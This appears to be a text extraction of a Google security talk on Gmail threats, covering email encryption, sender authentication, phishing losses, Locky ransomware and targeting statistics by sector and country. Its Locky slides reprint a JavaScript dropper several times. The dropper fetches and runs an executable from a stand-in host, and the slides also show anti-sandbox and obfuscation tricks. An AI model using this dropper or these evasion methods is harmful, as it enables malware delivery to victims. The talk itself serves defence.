Targeted Attacks Against Corporate Inboxes - a Gmail Perspective

Elie Bursztein with the help of many Googlers
@elie
1. X BILLION USERS
Stopping hundred of billions of attacks every week
A corporate inbox receives **4.3x** more malware than an end-user inbox.
Science related German companies get **9.6x** more phishing attempts than their US counterpart.
Highlight how various Gmail group of users exhibits different threat profiles
Global trends
Global trends

Organization trends
Global trends

Organization trends

Countries trends
Spam
Spam

Phishing
Spam  Phishing  Impersonation
Google embraces deep learning

Android
Gmail
Photos
Maps
NLP
Robotics research
Speech
Translation
YouTube
... many others ...
Deep-learning for photos auto-tagging

User photo -> Deep Convolutional Neural Network -> "ocean" -> Automatic Tag
Deep Learning power Google photos search

“Wow, the new Google photo search is a bit insane. I didn’t tag those”

“Google photo search is awesome. Searched with keyword drawing to find all my scribble at once :D”
Tensor power unit

We do deep-learning efficiently and at Google scale thanks to dedicated ASICs

Using deep-learning allows us to stay ahead of spammers.
Interception
Encrypting email in transit with STARTTLS

Sender (Alice)
Encrypting email in transit with STARTTLS

Sender (Alice) → Mail server (smtp.source.com)
Encrypting email in transit with STARTTLS

Sender (Alice) → Mail server (smtp.source.com) → Mail server (smtp.destination.com) → Recipient (Bob)
Encrypting email in transit with START TLS

Sender (Alice) → Mail server (smtp.source.com) → Eavesdropper (Eve) → Mail server (smtp.destination.com) → Recipient (Bob)

[Image: Diagram showing the process of encrypting email in transit with START TLS.]
INBOUND
80%
Messages from other providers to Gmail are encrypted

OUTBOUND
87%
Messages from Gmail to other providers are encrypted
Transparency report - June 2014

Outbound

65%
Messages from Gmail to other providers.


Inbound

50%
Messages from other providers to Gmail.


Transparency report

Inbound traffic
- 0%
- 10%
- 20%
- 30%
- 40%
- 50%
- 60%
- 70%
- 80%
- 90%

Outbound traffic
- 0%
- 10%
- 20%
- 30%
- 40%
- 50%
- 60%
- 70%
- 80%
- 90%

Dates:
- 2013-12
- 2014-03
- 2014-06
- 2014-09
- 2014-12
- 2015-03
- 2015-06
- 2015-09
- 2016-03
- 2016-06
- 2016-09
Broken lock UI - February 2016

New Message

John Doe
Account Information

Hi John,
Here is my account information

Send
Inbound traffic and Outbound traffic trends from 2013-12 to 2016-12.

- Fraction of email encrypted:
  - 0%
  - 10%
  - 20%
  - 30%
  - 40%
  - 50%
  - 60%
  - 70%
  - 80%
  - 90%

- Time periods:
  - 2013-12
  - 2014-03
  - 2014-06
  - 2014-09
  - 2014-12
  - 2015-03
  - 2015-06
  - 2015-09
  - 2015-12
  - 2016-03
  - 2016-06
  - 2016-09
  - 2016-12

- Key points:
  - Broken lock UI

Increasing encryption visibility helped speed-up adoption
Next: SMTP strict transport security

Prevent MITM using rogue certificate
Like HTTPS pinning for email

Industry wide effort via MAAWG and IETF
Google, Microsoft, Yahoo, Comcast are all on board

Coming soon!
SMTP Strict Transport security is the next big milestone
Impersonation
Sign your email cryptographically
Sign your email cryptographically

Specify which email servers to trust

DMARC

DKIM

SPF
Sign your email cryptographically

Define what to do with fake emails

Specify what to do with fake emails

Specify which email servers to trust
Surfacing authentication status

Authenticated

Not authenticated

https://blog.google/products/gmail/making-email-safer-for-you-posted-by/
Authentication over-time

Dec 2014: 5.8%
- DKIM + SPF: 80.8%
- SPF: 11.8%
- DKIM: 0.1%
- Not Authenticated: 11.8%

Dec 2015: 2.8%
- DKIM + SPF: 89.3%
- SPF: 10.5%
- DKIM: 0.2%
- Not Authenticated: 8.0%

Dec 2016: 1.8%
- DKIM + SPF: 89.1%
- SPF: 8.0%
- DKIM: 0.1%
- Not Authenticated: 2.8%

Most emails are authenticated
DMARC adoption is too low
Be a better sender

Use Postmaster Tools to analyze your email performance, and help Gmail route your messages to the right place.

Get Started

https://gmail.com/postmaster/
Phishing
Chinese scammers take Mattel to the bank, Phishing them for $3 million
Thieves took advantage of a recent company shakeup and corporate policy regarding payments

Mattel, the popular toy maker behind Barbie and Hot Wheels, was the victim of a Phishing attack last year that nearly cost them $3 million. The only thing preventing a total loss was a mixture of timing and luck, because the day following the attack happened to be a banking holiday in China.

Cable giants Leoni AG lose €40m after CFO transfers funds to hacker's bank account

Leoni AG shares dropped by 7% after a CFO fell for phishing scam.

Europe's largest manufacturer of electrical cables and wires Leoni AG has seen its shares fall by between 5-7% after reporting that an email phishing scam caused the company to lose €40m ($44.7m, £33.7m) overnight.
Targeted financial phishing is on the rise
Ransomware largest malware threat
Locky: the encryptor taking the world by storm

By Fedor Sinitsyn on April 6, 2016, 8:59 am

In February 2016, the Internet was shaken by an epidemic caused by the new ransomware Trojan Locky (detected by Kaspersky Lab products as Trojan-Ransom.Win32.Locky). The Trojan has been actively propagating up to the present day. Kaspersky Lab products have reported attempts to infect users with the Trojan in 114 countries around the world.

Analysis of the samples has shown that this Trojan is a brand new ransomware threat, written from scratch. So, what is Locky, and how can we protect against it?
Normalized by number of email, a hash is potentially used in many email
Locky is part of a complex ecosystem

Dridex

Locky
Locky vs Dridex daily pattern - May 2016
Rise of Javascript dropper as a means to evade anti-virus
Anatomy of a Locky dropper

```javascript
var shell = new ActiveXObject("WScript.Shell");
var tmpDir = shell.ExpandEnvironmentStrings("%TEMP%");

// fetch the payload
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET","http://shady.ru/payload.exe",false);
xhr.send(null);
var payload = xhr.responseBody;

// write payload to disk
var writer = ActiveXObject("ADODB.Stream");
writer.open();
writer.type = 2;
writer.write(payload);
writer.SaveToFile(tmpDir + "\payload.exe");

// execute the payload
shell.Run(tmpDir + "\payload.exe", "", false);
```
Anatomy of a Locky dropper

```javascript
var shell = new ActiveXObject("WScript.Shell");
var tmpDir = shell.ExpandEnvironmentStrings("%TEMP%");

// fetch the payload
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET","http://shady.ru/payload.exe",false);
xhr.send(null);
var payload = xhr.responseBody;

// write payload to disk
var writer = new ActiveXObject("ADODB.Stream");
writer.open();
writer.type = 2;
writer.write(payload);
writer.SaveToFile(tmpDir + "\payload.exe");

// execute the payload
shell.Run(tmpDir + "\payload.exe", "", false);
```
Anatomy of a Locky dropper

```javascript
var shell = new ActiveXObject("WScript.Shell");
var tmpDir = shell.ExpandEnvironmentStrings("%TEMP%");

// fetch the payload
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET","http://shady.ru/payload.exe",false);
xhr.send(null);
var payload = xhr.responseBody;

// write payload to disk
var writer = new ActiveXObject("ADODB.Stream");
writer.open();
writer.type = 2;
writer.write(payload);
writer.SaveToFile(tmpDir + "\payload.exe");

// execute the payload
shell.Run(tmpDir + "\payload.exe", ",", false);
```
Anatomy of a Locky dropper

```javascript
var shell = new ActiveXObject("WScript.Shell");
var tmpDir = shell.ExpandEnvironmentStrings("%TEMP%"),

// fetch the payload
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET", "http://shady.ru/payload.exe", false);
xhr.send(null);
var payload = xhr.responseBody;

// write payload to disk
var writer = new ActiveXObject("ADODB.Stream");
writer.open();
writer.type = 2;
writer.write(payload);
writer.SaveToFile(tmpDir + "\payload.exe");

// execute the payload
shell.Run(tmpDir + "\payload.exe", "", false);
```

- Get temp directory
- Fetch payload
- Write payload to disk
Anatomy of a Locky dropper

```javascript
var shell = new ActiveXObject("WScript.Shell");
var tmpDir = shell.ExpandEnvironmentStrings("%TEMP%";

// fetch the payload
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET","http://shady.ru/payload.exe",false);
xhr.send(null);
var payload = xhr.responseBody;

// write payload to disk
var writer = new ActiveXObject("ADODB.Stream");
writer.open();
writer.type = 2;
writer.write(payload);
writer.SaveToFile(tmpDir + "\payload.exe");

// execute the payload
shell.Run(tmpDir + "\payload.exe", ",", false);
```
Locky May 5th attack

Number of email blocked

- Internal detector
- Commercial Anti-virus

20 000 m/h
Locky May 5th attack

30 000 000 m/h

20 000 m/h

Number of email blocked

04-05 23:00 04-06 0:00 04-06 1:00 04-06 2:00 04-06 3:00 04-06 4:00 04-06 5:00 04-06 6:00 04-06 7:00 04-06 8:00 04-06 9:00 04-06 10:00 04-06 11:00 04-06 12:00 04-06 13:00 04-06 14:00 04-06 15:00 04-06 16:00 04-06 17:00 04-06 18:00

Internal detector
Commercial Anti-virus
Evasion attempts via file type switch
AV DDOS exploit via malicious comments

Comment sample

```cpp
while ( i-- ) {
  Expr.attrHandle[ arr[i] ] = handler;
}
...
@param {Element} a *
@param {Element} ...
```
Javascript obfuscation - Property access

```javascript
String.prototype.foo = function() { return this.substr(1,1); }
namespaces = ('a', 'b', "ip");
select = "W";
fireWith = "gt".foo();
origName = (fireWith.split((1,"b")), "Scr");
mozMatchesSelector = (((18 ^ rbracket), (1332 / delegateTarget)),
    (((162, rscriptType) / (13 & preFilter)), this));
bind = mozMatchesSelector[select + origName + namespaces + fireWith];
...
subtract = bind[noConflict + finalDataType + percent](define + focusin + clientTop);
...
slideUp = subtract[mouseenter + andSelf + isReady + fireWith + matchesSelector +
    matchIndexes](JSON + ownerDocument) + file + now;
```
Sandbox detection vs timer check

```javascript
var t1 = new Date().getMilliseconds();
WScript.Sleep(10);
var t2 = new Date().getMilliseconds();
if (t2 - t1 <= 10)
  WScript.Quit();
```

HoneyClients don’t sleep

Emulation detected!
OS check via the use of Jscript specific behavior

```javascript
b();
var greet = (function b() { }, "hello");
```

- `b()` is defined and hoisted only in JScript.

```javascript
b.foo();
var greet = (function b() { }, "hello");
function b.prototype.foo() { }
```


```javascript
http.option(1) = true
```

- Not valid in ES6.
Organizational trends
Professional inbox are 6.2x more targeted by phishing and 4.3x more targeted by malware than end user inbox.
Organization type insights
A corporate inbox is 3.2x more targeted by phishing email than an EDU inbox.
Non-profit inboxes are 2.3x more targeted by malware than corporate inboxes.
A corporate inbox receive 3.1x more encrypted emails than an EDU inbox.
Company sectors insights
Entertainment, IT and housing related companies are the most targeted by spam as of Q1 2017
Finance, Arts and IT related companies are the most targeted by phishing as of Q1 2017.
Volume of phishing attempts depend on country and sector.
Entertainment and utilities related companies are the one who received the most encrypted emails as of Q1 2017.
Real estate is by far the sector that is the most targeted by malware as of Q1 2017.
Countries trends
EU is not at the forefront of email security

STARTTLS

DKIM
India and Japan have the most spammed Inboxes as of Q1 2017
The largest spammers in the world target other countries

1. USA
2. Germany
3. France
4. Japan
5. United Kingdom
6. Roumania
7. Spain
8. Brazil
9. Canada
10. Russia
Japan inboxes are heavily targeted by phishing as of Q1 2017.
Recap

Deep-learning is providing the edge we need to combat email abuse

Transparency helps driving adoption of security technologies through the eco-system

Each organization has a unique threat profile that should be considered when prioritizing defenses
WHAT WE’VE LEARNED
PROTECTING GMAIL

https://g.co/research/gmail-lessons
Thanks

g.co/research/protect